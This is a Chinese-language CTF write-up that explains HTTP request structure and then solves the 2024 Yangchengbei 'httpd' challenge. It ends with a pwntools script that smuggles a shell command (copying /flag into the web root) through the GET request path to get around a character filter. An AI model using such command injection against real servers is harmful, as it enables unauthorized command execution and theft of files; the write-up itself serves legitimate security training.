最近见到许多将Web和Pwn结合起来考察的题目,本文拟对以httpd为核心考点的题目作出展开

Httpd

什么是httpd

httpd 指的是 Hypertext Transfer Protocol Daemon,通常用于描述实现 HTTP/HTTPS 协议的网络服务器软件,最著名的 httpd 实现之一是 Apache HTTP Server,因此有时候也用 httpd 来特指 Apache Web 服务器

HTTP/HTTPS 简介

HTTP(超文本传输协议,Hypertext Transfer Protocol)是一种用于从网络传输超文本到本地浏览器的传输协议。它定义了客户端与服务器之间请求和响应的格式。HTTP 工作在 TCP/IP 模型之上,通常使用端口 80。

HTTPS(超文本传输安全协议,Hypertext Transfer Protocol Secure)是 HTTP 的安全版本,它在 HTTP 下增加了 SSL/TLS 协议,提供了数据加密、完整性校验和身份验证。HTTPS 通常使用端口 443。

HTTP 请求结构

HTTP 请求由客户端(如浏览器)向服务器发送,用于请求获取资源(如网页、文件等)。一个完整的 HTTP 请求通常由以下几个部分构成:

1. 请求行 (Request Line)

请求行包含三部分信息:

  • 请求方法:指定客户端想对资源执行的操作,常见方法有:

    请求方法 描述
    GET 请求指定的资源,用于获取数据而不做更改
    POST 向服务器提交数据,常用于表单提交
    PUT 上传指定的资源,常用于更新资源
    DELETE 删除指定资源
    PATCH 对资源进行部分修改,常用于部分更新资源
    HEAD 用于获取报头信息
    OPTIONS 获取服务器支持的HTTP方法
    TRACE 回显服务器收到的请求,主要用于诊断,客户端可以查看请求在服务器中的处理路径
    CONNECT 建立一个到由目标资源标识的服务器的隧道
  • 请求路径 (Request-URI):指客户端请求的资源路径,比如 /index.html,可以带参数,如 /search?q=example

  • 协议版本:指使用的 HTTP 协议版本,比如 HTTP/1.1HTTP/2.0

示例

1
GET /index.html HTTP/1.1

2. 请求头 (Request Headers)

请求头是以键值对为格式呈现的信息,通常用来传递附加信息。常见的请求头有:

  • Host:指定请求的目标主机名和端口号

  • User-Agent:指客户端的类型(例如浏览器类型、操作系统等)

  • Accept:指定客户端能够处理的媒体类型(如 text/htmlapplication/json 等)

  • Content-Type:在 POSTPUT 请求中,指定请求体中数据的媒体类型

  • Authorization:提供身份验证信息,如 API 密钥或 Token

  • Cookie:客户端存储的会话信息

示例

1
2
3
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html

3. 空行

请求头之后有一个空行,表示请求头的结束。

4. 请求体 (Request Body)

请求体通常只有在 POSTPUT 等请求方法中才会存在,用于携带数据。请求体包含的内容可以是表单数据、JSON、XML、文件等。

示例

1
2
3
4
5
6
POST /submit HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=user&password=123

综上,HTTP 请求的完整结构可以表示如下:

1
2
3
4
请求行
请求头
<空行>
请求体(可选)

示例完整 HTTP 请求:

1
2
3
4
5
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html

请求的核心要点:

  • 请求方法决定了操作的类型(获取、提交等)。
  • 请求路径指明了资源的位置。
  • 请求头携带了客户端的一些附加信息(如认证、缓存控制等)。
  • 请求体在特定请求(如 POST)中携带要提交的内容。

羊城杯 2024 httpd

从程序Entry Point 0x00012c0 往下走,看到大量汇编压栈指令处,此处即为程序main逻辑点,从0x000013ED开始至0x00001F73结束,基本实现一个简单的处理GET请求的HTTP服务器

其中函数sub_1F74对请求行参数进行了过滤了以下符号:

&|;${} 、`binsh

故将flag移到当前目录下读取即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process("./httpd")
p.sendline('get '+'/cp%20/flag%20/home/ctf/html'+' HTTP/1.0')
p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')
p.close()

#读取flag
p = process("./httpd")
p.sendline('get '+'/flag'+' HTTP/1.0')
p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')

p.interactive()

也可以通过BurpSuite发包解题